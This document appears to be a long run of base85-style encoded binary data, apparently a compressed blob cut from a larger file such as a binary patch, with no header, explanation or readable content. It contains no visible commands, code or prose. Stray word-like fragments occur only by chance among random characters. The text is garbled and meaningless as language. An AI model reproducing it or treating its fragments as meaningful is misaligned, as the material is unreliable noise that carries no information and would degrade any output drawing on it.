zM*Z1p)puTFBfA0A;j@-2y9ZUas)|hTJS6POvk8uG~9-|6CL_l(+GgHPj zWIvN^b!JA4#L}klD0zSP@ItE%k3>P+g)*d)&@<53I!MH)co7wZ{`(Wvh36*ry>4hiQEQ?|WBae{BM-o)st8b-ik_*m-Wn%TF!gRJYaGMv%e{|D@TEH<*F4R&s5z?RFo*Vs-te z7{<1DbnQ(x$kri6=?XI ziKj?3t`ddP45rBSzHu}=^hKA&(H>9cRhguh4pm75!0W%wN3aL)$dtuzil(l`k&6ob zhe`NA7t^kcG36pMdci0pL5+^9CQA(@*a0(sbk|fu29qFy#h#3~qDnjGZ?{J9f&tq3 z?+v8^Ha<~m&%Y=UnNt{NWPnZcM5t$pNr#!OH*s!bk-J*baw$CW z)OJ=7E@)M)DI#0IADlO!kP8f_Hv1qKIi~AwMBkiRHdp**8+*uHE+;*mpinV8{MG8M zt$ME7QUjB@@A~)Gtc{C!ORY9fywx^@M^X}Qf6D%TE+G2YQ4dIV=vDna#yb_z=KKCQ zX`uvCng`#FC*b9q^5lz-8M;Zci`-^PWS1QCGSnuYy^eBxb-@|FjEfI93osP%82u>hyY^!M5Wb z3ww^BwlMJVt-t5(dK*BoG_Ky&?~`Es{n{K>)euyQfWCWM`(98L%V{u`wWqJdu-v`5 z`{lFh(Z#8T7Gn&T?4KP}nF^#=J8Fbd%<$M4N)3Hm^^RO#+kc0JCk=vMo^1JPl>SNPk z1IC5YcPi#XQn$N`3(hq8>DmWyvbu6P@;jT=C2ARLr@pkr*UVIr`Mo1YXy;*-Wt52h zXxax{_0l|#N>7OlQ`>cg$p>$N%CsFlpmZ@xqm-1Cm~SrqCbe1_dk?~g+}{Csk}uUk~wz;YAr34%;@_&aNj-Xlworkw)TFai+3;kfxmIdrtpXeSTKq_nAkE?Pyk{@PTZF%;#)<8i#k>2b;hfOh9lf!XU zqEZ4~UGPG#UlYUBu+ZMGdGU*I*xYvp4^@?I?#MI!$>{T3rD&5_dmqjsN?}blnT&5v z8O3{Xccc-K1xi@S8O@)JIKte?>h$$HmE|^2Q_<{5LE0uDdD3Q4b(dHKGPe`#F zqimRA#Y>Sc%Ec`aSsfU)*jZsLXE&2DGk#+QO&!lEl_)$`h8gznQjvP^)1@2FpDAoN%Z`>$9Z9=#&$&fj$CBkT zcrf}wr}>|6lg#`s6Gn>UQbZPBna^fy)n0a)FL(Y@e{=?kw1ImJKf&oR$CX&g>xeug zd6(emKjy0`5>C_LTrlXs^K)Dce4=h?7~6YphDqbJl|#ZYRAJ%&y?2w~gPjc1GS#y= zmd>4YdS(QE6;!;i_--*4FFWOA{D&j*2x@uznA05LV ztpFzcTWk=58Ryk#}*9U;ob~jiCO& z%w<6Sp97d(AzLWCNHM#Ach$A>v8<}dWdL(NjMv3tAQ$LjGwGM>n0K2gk7i#XL@|DRGp|d7^QEjfT7yw);}{%I=dS&o;oTpQl7cZ?-8~A5jp5+ z&XI2>@>E*mU^+)Eq@mbO_w7(T&A{XB*$07qhDce`*1k!7-2x4@S<@sCi$ z2NTBoeO2Q$}rG;M5BB1f|ijnF30^OZN9|~?#q`iTWuk!Z03E3Gb4ZM=3+ z-CSPy4XN3`uQX_nqLS6Hsvuawii1=nT#U)a!p551Pu{h)wULS+2O;DsSNf{oJ;GYq ze_DM?zA0x9>&g_qE_T}ZqE&5#jY`N9QDvw< zSyw`YNhK3BoM=lS_Twsr*OYClsPRiq4q4Jt)sLjHC3Ax7!x@RmT#&Je&6mra;q|ff z#{JcHw2pvViA+9DWe7{#_Im!dKn9y;124$^q_yWHz15_>KYVXUH|Ce#G~~#?S}@rRw%OxR7#yykE(55z!>1K-}hiP2IDD1Q-p;5ql@~&cVSUh0Pqh zQm^?PG_>E<(HxR`>HO3aTXL?~^4*XVnL_Tb3SFd?RyXlDv!VUoodMi1)3n8ivd7(j ze4P>i1c(q;;5vW``S1gJ>j*t5@Kr84`sl}j3 z;Y2B@?`tS8Fei`u zG3jtp1vv|aCi_p_u5Ba(uNLYVE&STbCmM3k76 z6zv6F1i#1G$T=+8IB1=O#|ifd`l-fpf(w~g05h6IFi<6ZvfWZB`+q{ch$ziBTEwM# zTVQT+3_xX})||?AgRk}h&*(PmIYr1m%Iv%Ey{L5}CN>9TR|#J^uC|4D$!neLj;AVM zXa2Z6gQPos5qK_6N3;6(XKqKw(rSb~-Ct2%?Vuqr|0{$A95US-CzAY)eUdMtR!Re- zmsVF|-g&t*@fD*NE}rM0{B$5D2l{+$=DqEl1NbMm{M_%WbIKg|1jew)i`2eIS^}=} zzFnpzr_H<6*IRSum0lt*Ijx&CPDh5v61AYNp$sZ4YQ?lb2o)NWauDu*(jrkz&KQtH zrxF9}95{P#nM%&vY(k{m=IIrI#}5^b!$cFlV)Th*tqVdp0*)LP>+roU=f!y>BVy4_ z(qv-EK|fnPJTM2Ke-2i@#iUW71l{e7C~V&tM(0b%8?CnWtBl^B^25`qYQ-g1ar1ec z(xsP6Ib3j=d7UiQD+bBht+u_>Z9It~c^5kpL-t&tlqKNBM=ao3F2uOInaVCXnQQJ- zKjU<|d@zN0bnJ^E17V~`X#SSj+zr6ff_o4Wn$~4z8~ejgX0*fwQk-Z=<^!}|PBsgs zAwoOtARfUBj}53w?J|71h{)KaIK&`Ne0Fd0h=@q1olETmI$IYYAI?Z+02zFgt0bE$v`wDm|!2>670-Pd{I(Ht!kLL zsx_6h@cr<@qr@sDY`@1Vk?$7vGkf9wh_Xqg+2+Gw|A&u#`lqWzvx@eAiVjxu)k5`x zQs9l|-`E>3?I9SYOjMHF-4koFQMfKfS;3?UC8rIiWJW&d7+8&beCM`8o^P z5+C7BW6dZZ1iXfM@Nn)n?`5rlg5Jk4VRyfqoL<<1_?vz2ZKj?btgWTB2S&CF9&S#^ zUb&w#WTa<%*)5}Tc$!CGCkFdd;?frzZRK;`T%(K6c7OaTxz4Mv3ja&JENOEnp2RsB zB9NFYn|o8c>P_E(xAM6A`){o-r7I*hIW5+OIYBg&jPr>$sN}?QT3%Vg0f7;-2Q~gH zGT`e{tiX75DD#n|BnM4LM-uQWewgI;_)@(~Ro$jMCB}4mzii$OKxi>d-M@=K{O^He~_2u^aYl)JxkMM&0wP|7gHVi#%G~&yU zFgRHkmIabfQT5HMG3 z4ri|)c5`7i6c<E|rLM^mnT zSw0>@_0|E9(VBQo0Xdn3dS4Tga}gqo(&2nU$<|IiB%h!(MX>!T!@I1mu3Q=ENjtwX7u6 zk{+V}I@IE_^}`;ML7r|Xk4gtpCs!98GU13e8CMt<$987)iL#rjryu_I(a+qy%t?`c z25S#YrL8f~l2o}`LKzigrJlH*ggwSHPvDyi*NPVo-d7M`q&`P z0e8%5vTfAV<`+G#&;Jb*L84|mqNIclgk2to-K$Z-r_^RSf5|ftMMQdgqqSU+BH{-P zjfX><0^xi!Fuy#+5rYogmzq0i_A>`oXj`n_Zu(Rpu1OKu}_>Sjg#=8*`9nd|_n%j6x9ZaY57cBO38=!KWVGxK`yPr@2a^i&V^*hijr- z>@yUC*}T5IRSwMv=dXHCzXvOr#f>A=)DOPq3S)-lQ(-nlp*(EoHGtUJi8Jzwb-~uiid@rnOl)H=#K6DRloH{ zL$@GzS}40L^K)3qha@I_cvH-E^3;6i_+VNYXFr!+#{4EFniG_Bynl3zT_m#W$zW0A z6F#r0*d&S)+GOm>dfJ(38d>ui6QDWN*Xr`Ha#iMk#{WtACMnKkfjOa%45}@Z=76(s z4VJ{iFrM$-b!J1m@=N{;21ApF0@`=4jJ#I zTl}N8O%V}?yyzwI_rdj7g83OprU>=-zW>V)ul-!AyqP)N50&D;ODcFLP@(Jbiy zGF$w!DWVtte_a^Tw88stjQ{7Yr2qX>$3naRJ%kkANsep+`v2LSd6hwz|Iya}kC`h2 z|C_}yZ=>k8z5e^||9i{G8(l;%)c>~lG3CFzNss9ttji>cx*?wvFgLerrZ)T4gKqZ z>p5f7WI;E033aZ(upD9`A6V1%m-Q5m5x0M4IuJ%2lDlQ->5{ab!faH^js{H)?*`-g zP`=3)sGn=Bh3{SmOAKaBp|8H=@I3q?S#sDXVhkb zsYSxB~T*!>15#Tf7#A@JE;n67EIfwgBl{>Ag2bF*EcxFDq6<11Bfg0yILK_YL% z%1!?RgK(uPO8|UJBF9%p^pdmJY{ASJ+OG2QsgPq@6T_(aC{-}>A;U4%Xz0JDwRXW$<6#j(q; zO`xW7v81=Ti>+yS`)>HOB8rhQG1%KH5c>8FnxT0tHo=`JZatkzsBws>tAho3SevDx zSoIdRkv$%`gj4>*`8N{pM9#kM$B#|Yq7I6ZSmkZU&>?W|v=&Cu^N66&`(;VoeuKW{ z*ON_APfE@aeLS>9R8C<631RabEJtc(<0jIMCeh|3R?AI9n6k_fOBjog{pp6aX=~I@TE87y9Z$QQ%wbcv|0+ z(&#=j^~=j>+I0xK`y)7qXMPB|qTy~c{dR)f$wJVN@RbEU@-mfF-Nf&>b1%BW3fLJO;gZbSR-V;w#~x7j*7 zmB%rGhjAi>rjMX%hR+7tW4QPH%xcOwS`71@wcB;gvj%$bQkuy=nQ+@JJl1rYxG{*3 zjMm)#v)m90x`;+!I`hZkj1^q|)4Q#GF+a7T_Yn<1d1HyWmrbGwuRW-XOI`1FP}Wl;I7aVPb!DTvETWt$ag9<_-QMCN$qvLN2rWObGzTboadB)`N1| zabu18+0JmiL*nIs&-FLX>%$Ag4eMF97GrIX!pksx=nd}cJ-H2}m8tyom<{#eOs=ov zfF2Q8VXz~WuZ?H&c=ATi83NMsm5z zILcaVF7U%DYZY<$MmMPHcc}f=7+df!=KkmSo24_D%_$_mZ3Ub!LgtZ^J{~C`^%556 zn;<8#zhn3d2Gj>k(3i;2va&R+edR?$k5xD&J^h$P(f3*UuHrexG>jhgcH(VW7^q5w zOGyL|@Ki|Y=%6JBxQ(0F3Y9I}!>z+~QbM2nXunLkpZ3XBd=Ac-%^sOqaJ>h@V*?7p zC|IUxj3Cv+eTo2`JoxEvd&Gv@3It#o?MT+yix5wMXsNw2g8qJ$wBCLKAvtM3_m# z2)duzH(l^D@)v_ag0v!}!7?UXu%kwvY8U5&NkbVHddt75hX+H@y}LIC1IQ5LR9A80YIxLiU*mEjXvRqH7WsG0VULil44 z4UZ6FK98y&pdPi5(b@EBg&@f*|5q}Pk7yIw-zWMjd?0SP=mqpjVd#f0> zc0pm10q*TT)BuPtCo)0gu^+0R+Ex{Fm9(HU4c~3`nSxo4G2J;otlq_xtF67pDxW6hc6r_jOX9AOZ>iVAH|Qt4ZBS!f@= z6w?JDiJlMiXqh8;HXSk=07PSdiLUdFbOWQy61RpYB?diN`nn5MpTk zEM|;%g$mzKFLO9(h4+OwVSCc8s8dfz;y_CdvT-TmfW&@?KW@^!*$CWigR%<^D zqy?u)VZLOaEBG!$Vq{|2$=Xqcgiw7)>fmAOjUm{`Y`A-VpLDDBNf0 zgx?~x$rQvfa?kTL;Sme-fHgxs4VR@X3WBJzCNX$F5@{cK>SF;RBP{p8QK4BU#==~s za&w-TMaGnI+{#~yGkl<2!5Z;sbiST1I^p7rpD&GjimgAcm!UPAI6e=)!A=s49a?s6 z?*zE&TW5;a2<4U9wV%MD3Df=nEWU>iBr-SixdW}wPm65J6hz0rg4V}dt9Km58yW_M zur;sq#WQ#63ODODg_B$kw3z|wwc!taPMyMwfSF!dZXJp^y_-^UlY3M*F5ro}KPv}3 zFq+MqHhBiuzwhCxOr$&y*)-N(FS>G$N0lN#hYZqL)oL^LeournOmh4 z6FEtx!UnqLAAbAZb99gMFQW4Up@Uk{r7RcCl?BW$SrdP8QV`sG&W(9zDxSmT8EcAI zpE)t`>JMdtM@WI0)ANN+Mg?=(D9e-Ck0-ZSEggBbS)d=(Evq|e1QMjmnF-^J4Xyg#$QXfqF4b0#*OaDX4GyRty zBvAjp@MH~Jl!*we@s0yO{G+J zqI8wY8ec@~{TnhjQJl|(_B6GcJB0lQ4JJp*2BFaeX#N@Zhd29wk;K$JrbMCuFJ1mN z?63Uct_ae8{!|o_?U?l+w=jm$0$j@d&CvZdPzf89%5K@y73fE9#Ky|{`R?)e9*chu zO;mw=IzBTq$(ih|9?S$n7M3vl`R}d?F+Bk^1A|puL2oG8RxNa;IzU=# zYV4c3sGn^e9YRz2(vc7*>cv&tnbGTV+sVys$8-ap6(h1kaf2IOVbqaYvz`vdgU<8E#dK2Cg#1`jE@;9=8 ztU)L&WHo9&52*hQ>mbe-qXb_~D@RK)bld$OsjL=+)co(u|DQ|#|7tGpih#zDZni%> z9kGyaIfn6Y0$sK3oQ3Q0JW-WFdl;-uZczs);}*?vN>{QK=Imi&JGKFafEULCE+V zF0`(>Iqn91pq@*!^OnF9G}QXpUNoff#$@%W-_z+;x%?q@l$?%Qo-ll>Kz8#8M{_iV z6K8KcD_T9hGw+j}b~3FpGW5HvmxA1%sbGC=JjmyZ|Z=> z?Qu|zDK(HlCR=F5JQG5Qinltr((fM}Y(z{ek7hT*!=dqsYTfA6+XTy}H*Tbt>6QbH zT_18snw`ghp*=eF$LH5anram`;Rsj*-?YCsc;3zelTXFH#%p(w&hI8w%e9*E7rtBe zB0lz8O&3lZTGB<*9j%cenzCtqXzxtX3qSf-B}1f#<`1kWw;PDg7Im&IH5*UBfbar6 zb=KdhYI;L%yQZc@Uv3*6Pp6=A`7G>AB9!xjyBk!zJiWb5enfaRIc>xVct9vRD{<`j zaeeO`-NtcRHCEvU`=zh~Sxp;41T0n4#(1)z9|vUIa~$NJ}Kz!jqB&vWMdD-Z~T&m zOJLBHw|@p4gVcX^U(li+uLZK1myxoPD%}{*pMQi$MU1mYw0J}#lz4Qnh)GJZU#%k= zNdiSit3SA=uz3lvnN^D_8L?)J^TzYL3w`-2_Wlf5G6so>=$+2AdQGGP%PSvjZ=iVi z4S(?&ChQu0edqSGRS_*EJ#}MiKoOVS9W!j5=1>R%;b$vViQY44h(sN0Z%ASyQcL3ru1$kp~%GVNNk`3^rEY-YW}Q%PR|QyF{uYt@phsf@Xs@_mk> zd&++S!#gS%6Dq{D=C*;Li+E!@JMiy4#axLQYW~V0@CPd;!`j_~zWExgSUxv; zyT!V9k?D20B)*E;j;C#SgRx8u+HHkoh8+Ts-kk2;v8DIMe<(DnaGdVa83L!nUwEEA zuTCDeSRjW}VhFR$$ha?gzuv9CKiiIWy4p;#;r$ivHr~EeJZDPqSGhWhpZBduk%D0U zb*1ZpN|XC@@M2%)S13G(e< z(llO~@ib^7LVJU$M45aIVn?%?zvggG5N->3m_7YnTm}YXw_2Nd1&O9-dFzb45x?JnrNK`hv! z)C9Uv%w?_2{?M(XnlAIKR$9cdS1)*`^S@eq>!_&OKYG+a5KurGN$Ex!hK`}bAtZ)I zq;n`qk&>2f5RfkE4(aah?(XJyP~Y$S-gWO?>;7>UvslJD^_=HCXMgr*?>$rq|0ok0 z0w1tWLY`=Sy<4#eC!nY5Pr6-o7srOShY3IzjWpQll!s{YPle~x&S!~}L38y_#dow!lMNKs6kr&Y&tXfAL4 zZ8v44zby#=yHOD-F1rn{&03eo<}l@V>*X<{fuD?kt%5}->MHjEf zxqaK8Z}34tB?^^hR!xc~m(<(*$Ya$gbW7$Qm*=BZ>e*ujRmO5B_hr;ji2U@w|c{pNt zlgdeb^#XL{a)u$H&c!uTskoPNtsytrikXWWR=jO!SLgfQEs|k6TM@AeBn9fXWX-Cb z3S1$2&n@Sx$(|Wp907p{i$r62YLw4*=jsqrcN!=ebHX32Lj|(QxKO0b{unRR(uA&5 zaCb^j*+#C_DGELZ+AYG1$T2R{?H39~m5ns@dqAL(H@3oR_FmQBAz$J!S4 z>!CT^48-)%HgW-yB+@3j-7v3>bNBR6;zYWm7z6=NkpZUtMNsk(0=h_;d&g+otWDOHzzz^p@o)6z&Z|YfHZb9r;GpW>@d<=U--EZ z9X$M11o;3w1C%2T4qG~Qqu9<=wb+OH@@W0nilqMG)+sa=4p4$XVpUVS_^}Iiy2>Lv zietWhxry#NeNKiGx?{DwWp~P)?u<4Dd4n`vYW%pU4X{u=wZ01EHhGoi7f_i&d#zfj z=lymh{W*l13mzW6>jP?$+#+zR4V2T}{FggvL~dp#F~Zz0%nZ9RI}O?_5%o@2VJ&t@ zt(7(3C=@DH!Do9r+{o0>%b%r40d@@FB_BUO#MweRY^E|5s$wGyZ%7%<7T}=A#Gnci zdL^X}h@XRuhYhnekEhlGD93iEE5vxZlCTl!o0?*ow6zF$S3Y+~7v$7%JM~zNq`lDN zkLye%N)wNAL-g=P9;vcza zV}s~taEi|$qgpYS$!LKGOT;KW_CEGDp3NoqHZNn$PwGHq{~7qdT|bYBS2~a^k7U*T z{^|CBGqL*bb~UvVFMrJ|*Qk}WRazZ}Ir+s@Zn(OX;^Evb{ZG7lBMp?vchYIS=Ux9+ zd5>Q{)XpRSm*VuHp$NxJs$=p|SZ#Kh*`Vu%qobEOq+@lTHc>(b`X*2lECalNWsd^X>{1a6%9=#T+7+vFmP zS68(uUfngNdFEwVwA4I=5GLBpjY^+1MTeV2otv zpEcytxy)*d3IZZ!5nq&dmdun_Y(Pz;?z~?-wx^t>8a$TEs<3aIS0+p^|F!cJ@ICwU zeu6be18$({T0e%#CCN?rRG9XiR4IWEuEltV@Xz>atN2xFx^s?ur@vL`+ zH|B{9X%7?B2-LpNbWxh6(XM~NKtJz`y>CH=6B%OM89_r9OvLwjvh>l-R9U>ybeCwQ z%OyRB#gtEM>0D}#D0?9eV?vOAyS%9LIcX8q73LHxpMwSd)NOmf80xG%a(>|;_ZyjE z)(pS0j2%Z-^~@6e_VUs)eTE-$iLVRh>wmdjnpDNV3TTSy%hJ}~cL10exBhm7GNsaN zkBQF@5imB1?~B~>O~}4fIx@A2Cs*}OU<}YAvG2O(?G9PjwOhJq$bW4zpLXbc7S$Ru z8OMHBD$>43jq`KN{#M}BQ6t0?0DD@DJC(vPk8=boNybHY(bV`YNZGrt+^e$nWX%mxTefA8Xc zF2Yt9b*tM2A#wGe{LlVdl=-M)n98PFjbx=9oSd`}p?eS;izf$`8Z5a?(ZZU2@=JR^ zOzeqk+_^ky5W&2=RC-iI4+ZLBBattA0(P8?bJFflJ>82!n6bT=z%*yI401fs50s|A zPPZ%GnopT^9vm$4{roY@B6@k&tEt|j)E+1s$ZRt5cH%uPlXlkM%#M|+970-YwGWeH zpg9E_YtfAcY{DWKHD6E7S;G$v64W^D!b?Td3h`9hhSpqoG3kvH>e3Li z+tgn518&i_B7KAf#}!Af2Gcl9J>Tz9Qy%8w!2fWI5@ahVa!&IZ(BbRYGHot zjsou~@;e?pzhoR_L(%h%i05SNGDi|{ze7)fO2H(1aMBHB{K_2LT518XOV6Ti*m9^( zHM(EYq0!J^nNibo%}JR_b~! zs;O+7leDtX>10EA54M~vy2#1tFtuh$prA^bc^l&p9+{RllO(5{nv*$#b7|%en-Jeo5eJx<_I>=U7HX6_g zd(biRx?IHMy_f#RS@@Dq-*hkw5|Ava3%+{0EuC5|89rw6QP0w-Xuo8_%_ab)KT$`k z%)~$yYWUr?qJ0oMOvEUl9+st6^4k1-0&1-V#6{%CJFGbCbVaC@%70RINg3k$PX*jz z;wq-j4t^!j5w{i=!z9%o!j%nNyIc9K<$38=(#diojOzdDZZ!kp{lgcCJ=B# z<8wM`2J}fQ*0SMZweJ8eANcVe)5<5kp(HZ8QNLwfMtbH$?`PIaUdCueBEQ}UIbOGc z>2|XUsL)9Zv>QG!Qf5>x0iiO@6LT}0&hpl|U&m_|{C>#;Es0 zfUeziCz=vcX)_AaNWJ|ARui_UfEo4!x?jF6`-h1T9TV)ipd7sP#4uD9JF4#+ngMc3 zj%Sl{G?V)rb-qMgC3TP|?mQ{j|J$ey{H|IZ3I?T2WHe9!vT;~WW*o+#4KGTs^^6S- zk>@E-`482J``RfjQxy;@Yum<-Lq-GkV77CYEPmIpETwEpKWr60;qYr!Rad~0;RVoP zrEi8EYvmH-Yy_+i7f*LCS&P3^q;Ru`=!GB*xUCRku9u;Ct4NCa;f_Yqjb|tGnfE7i zG3MdQ#!aNiY=)hrRA@S30I()w*u`%P55s(Gi=W@gR>0|$wD3z2GbIFF9#Hf{D&!bw z0=*3vPK?E`9x}k z8%qjgJPqYjcLB))E8^e_h2*nBdxzt1V??s&M1*6D?ef`7Qpf7hx($AD;SY)Yu3q&= z0Xg3FfVV9}hNg>t#}8neO!4i5+JPGUi766sm0-W{Hb?K`@@@dTDd#r>Hz_YPz z&dtxvbTq$HR;QaEhGo%C&0*vmd!;M8yfB-o#L}9Z*T3Z#qA6wvnG~BxFJlqam_sep0r;I>a}@9Os2;oJ8sUCkj|ZPFq^xZ&}v!G%o4h)Sc^zK!1-0b$D- zVfEsYw<4gKLa4Bq1;Zm9&6ir2sbg+kRf^U-q+5sdsI$BI5(XRXN-G^tbxcT@K8(E| z1`r>U!YUO(9kM^)%x}d8>}VHChU~2*gDU_IlCBH^FLn5Z8`|0sJM7I6Wn@sQHn_1G z0I!)<>tGp{Ntrzz-Fzi1U=jO3OeGtJncw+jHY~3pCxpd(-|t|VE~-Z&fgG{d6Uuxi zguQF5m%oW;I+?@0r}(A!?$#H`1zlwCj4kmhQ2f?^-3#YM-4iVkawDkHD=aVHt{AoOL|FbpB?uKYQ`=V zX^|#nEEz=p9^Eau|FEW_N;2tq=Eb;qZE`~gYu|cp-={s-c^E$#Cr=|P@uCPM6mnzw zBW_B#i~teKTWq(pOUFo+T3l3)3N?h30B=KHHvUug_ir1i?^1CAR$3wvWT(vU2I8UM z`tE#wp4IN_x_OpAtyJ>yCFt%H(dp!VdS?iS4018t-(V%!PEY&p`y+7>g4H{3oY{pA z@N9HuA2ut*s0DoUz2%eE6E=UW<9FEzyxZ*M83b?REQ)v0FiZWeU}!=;wdNp3vE_G> zu2$&9t}`Wu+9*0xg`x`#M4n^$&>~`WfwTP+HdjSkS5AGx@r%wGjuMK3PYjUykLMIC zd|{u;oO+$6YK`%+*1w08nMM`OL(P(bfUBomQuZFQ{xoXlWpHu8>#Zvy{W*)I7Gvr` ze#I7z2N51t=N<_ZaJNj^`!(%))Nn}{QLh^6GVRe+_xlNZBfaBvJHHWtN;Q);I;URx`ruoI7B}5U<{MQo$*~!Hx>m&mO zuCS{Fm3UA4oeZI;0!6RWulF2Zr4H;kw{Fxx3^Vsi}Jbes`y?Ij45@JAxcMVKrGbYrx^L&WWJuAXT@G=u-#@> zGuZKL*~J{;3o6aW@k!$fBylt8mK`8XVic!>p!(Xjr$44qo+>~52w!LB^2$yluubU8Q*=_K)u%#S4r_oJ#V~wy3}{0QM&*0h z-b^4iTYL?wu8%L`crB2~5Y_Rka;;2_82yL{%OHhK_Y3OmV*X^n&N8%23XI(&V*W(7 zWwVCR@>c4@Vu@k--4FCgqsv!@9K_@d-AoNyKTfyni?wL!z8m%vq_G *>n)EMBAW zT}`x7P+Vj6rAZTfU~`)xZ|?WY+_48vg33*M%BoSF18b+qsmz5a|D6XV2$JR8-s1TC zmW!%2Tz=HNOTd-XZx3DyL{>9~yPudXH6|24jph*XJ(d&xu2pBU(@;A?iSHGYalI#z zMLp6hG`pU;$J){%SJDsCyzdcB8LS~a_rnKk{O_&{W*HsnRkmF!rMVcQu)XPwd(G|? zgMNxWdYePgX>ijb@3<9#xDzr-H`h6;9a&VKnSA7FwIr(DCm$27qOlGOZlmoIu;E9j z>q*$O>?gAd!ax&D5~jk1i&EtVuFI%)t@{@d-V5{N%07>Q7W=L<5QI`D^jm7 z4l^$HqoqI$c1QK_czQiB=laWbZ~FM2C{35<;n<%Wk*OX*F20~yPSyrz$i#zvQHcCh zkP+*cw1UWw^g5NfOwZV^)=uyuk>Gq`7zc|AX0Y|1iZP1*XaQ6P^|#SiXZRoT1y^SH zKHL2{(O?ptxXgp)5Cm1}7NGb*K&_CpH~sJ-vAT>4At|>kqlgTIG0#CRuPe!Tb^Gm@ zRH}-W=9t6%&d`4R@mLv^q(}%6AJKjUF=AbR=rT!}iK)%(3P3`%;&2y)P`Da>0xZLso8Q|&3yW@g0m)FgL#ShKH0SeZgSUk z2`eY+G{Y|+*#(y}(M(BgSxZEAc@M{$t^a5z9-@#73|wwSm+(JirG-`Kwdx_M*82lq zRLfz+>{4{1yGMG5ttbphD8KKBILWWncQ)mcvvXYE*exvF92;-DyY(Y8oqBY z8GL)a->{#9#oAppVyrNnnT+zLpVJiPR&$+jV+SJSwvo{^?VOs+zZTaRF2|3ggZcmz zdV86w0PC~!y_#LMtXgRrO^uD6Nz2Z0ht#qU@q<+{ShDcPIa%aCPUGK3(#7FU)3o98 zDN1QeYD#1q0bK1%9Gk>H=l};Mq^AnKv?uyA1j=fP~gaRNKVQD1x9S+GuxQu z4LMumWpCHunWh~MPo~C?S6`!F5v_Ku$_;18{?OoUmrLN49p%opS?`-Qr;U4#lifi^ zx0;NCZ{E7Hm(;Aj#&|U^t1YPU`yn7XD5UyE4RPGPB3@ygidM+9Ummh{=8AV`&7BV$ zL}~{tKUKWS_OH2ZUaWQ;g7Q_1ylQKCe!g=g$|E@?48W$5;n%0Mnk){hjl7Nk44}Es z7$|D4PWB`L-^I$ACG2+E#P(>!*y-p3akCGM<9%d6eV@#2nnZh^QKEP*6ObZS7II$? zi|*D7N*%8x9~;Zp4vW|dRqqB?V>mrYPcT5T zLT=$tl_r~Fe1p4NBV$XgBeZTvE0s7yWOR)nl|?6+#F$k&rqg(yMWTioTKnunK>TCfyzg4 zg1~1%8{DXb>2}mfqTDAFY+28pi!|2#s-(KPKogo}*zY#R08V2nSy&*{(Ap-mw`%y2 zM5aA}@F~*dykH%wdbCPI_f_A8@*NO%NWEoDe(QExjlE@<+zZK#(srw&8MCW~kv@@* zpf1?+`}%d^bq`E6%UtDtd@|cPqxBJhZDQ}&Z39gyx|tp3UVt1I-sVFqewjFE{F$;H z7bAKNjh*yE9}G@66>pJJS{s2@?z>HvbhG!-^y`6@5;|SkisD&nFiX>=y=TZDv#-Wj z>Jjr@30!{yT^D)jsw~$!C(HQy&(-zqzIGbRR6*?q0er`xg6pMgB0_%Kgw|W3g3jr$ z?j+vS*kaS|#ar9!oKdeiEdYiX=g*2l?*1eLFiB+&WRYC721H}A1ET@-%!j;@1r9h2 zBB~kn+g_ODS{<(mp1NNi&9qZgK6&aeCF{N&Wyj{%+Pm1?Uy+hVTn&qgYyzD31F7C6 z*^=Q7BVFMHARfE^(o*vfY64C-HqEM=_^pOL{zL{uLIfH)M(7xWI$Qe9<*{}CSQYI+ z+l~>Cf-_pU-$}6tKivz`thTkiI?)BXJyGmN#y5_{r_Bp%$($JUNYasRp6)ue;%bh$ z{O0PMU9rQ7D#-YBHBn6GDgv~r#J$kcj2ef%(1QI#T|(Cz+wzUIvPsuN*ATe`F7Wl) zvqL0ZaP9ynx;MLtQrg|EGi174v&V;UUFi38(R%!ZNe0tjJJIE`FR`WrUjM)&aYPy8 z2T7{c{+w$mpH=kiMKpbEq3DW=b}I_nU}8YME4}uCuC6ZIpk(wmFK@eRD~Ns&{UWLxeeN_cNaj3wUW%H?4GTV6>lUGlVk-9+cBYc=0d9Ml z!AE;bjxab%s z`IFk|CTh-i+RuvW!k>>nyn6*%-W)WErbMeC=O|`kXV&2gC43`_BP=L&{wNk!~YYqZ<(H}h7E#s&vptA?bpQY>-Te9Zfxzhl8h;l z+^;TiP&Q(~&yX+|B-S6Ha_;uV~%Sj{@ zq$yFLwd#j8lCn%n=b56L!uDy%_UM3G`0?Yrk1&85P<{zasj@46LdiSI|oXL+(PUB8XKMixxYNg`lYnBA6 z7m+mBtmeFo2WkMLvz=!gG#MYt?AH5wOZkj&UOp586pVjxi3C5K40uro+d3shcZ`Th zz0}JSuKw$)Vx@jNWpFj2k*rUA8v{G?=R+V1;aRoweiD*QWe+s{=v=qiX8`(=H?k1O zwF7h;@uW$js%at3+?L-j;{87VT>pk8`N|tzmS(V7eA2Mra!HB8%645(jQD)xkbks5 zGn|ZFU|~aFMFe=n%m9Rqz+?LtVV9o9a|NNm5i9f*+*^C9Skq>IoupAT%we*4cu&T} z`ZZOy3AG5d2b(KfiN&!Q$0+{a5cb+1g#9n%A3$%TQw1P@?yj33zg(7liq&3E=nQ%z zX>NYHbaW~M^y%hB5r)q!8onJ+VVSeJfuQt*?bf}fCH&+oe6;E#o@uwP8$ci5Hgp(X zIbR|4+3`Dk2(^&V?vxYkv%I|1S`7qQ_fmpbo=2d1``B7lO)lh?IS)~cOOr@B4;qW(Pf3BivK%X{0yjA{u8m%8-arXiuqt+}ZhrkFnN6mvNQWcWXOsl^1Y zf$7FWYFloFuq9(b%X^2`83g zG-PIGW&>4@klZdie5>O>XjXPQ0<+&f>W%`eeemM<;$lkQ!Qz(^% z0J#ia%6rH3XYip(ewlqmiU!WXcw0-O+_s3Ugg!}$c z_5Mksr&MxB>90p~6#%5Cl+BmjI#X>&W!m-4i+4E59>Yeq#(qvIe4Fxomz8>Km#Moi z5N{YZyY-S5uQFX}al6n^MY0N7Y9?~NH4=6R}U3a@jke=Fus z7p&dMy7@NBYzqKUlW6G;;$7n~4OHU(KF`MN=eYjD**^|?H`8(gC$!yX{S8VZ*tTag zGjn?0qz?fqhup3tgU+~EI(;~WeD#-HRfi&W$x61Bu5?~Ew*u=@Z?ZRs<$b@c$Cq(8 z%(}*LSwA4{9t&z~KjG}gg>4@Hu4txiI$;N67Ry&eAX}wtnUcHBod_2@g_25^LTW7f zZy|Dtpk^%cjI6VkdLWiN%l-cLTvJ)N$EGhyu8ji8uAi+~k=7fCHu3d$!psm4A<7N2 zmyPGh0C2(J)hRxWLy`ttp99-!Z+tu{St|9#!kalz;;+<}@@lY5e0L;WnkuL180fu& zt-X4VlkN81t8uzLvDL1q6n4`w>%`f9J>_;kt=#dXOHy_(&q~o0vvaZJTtLpAPDET= 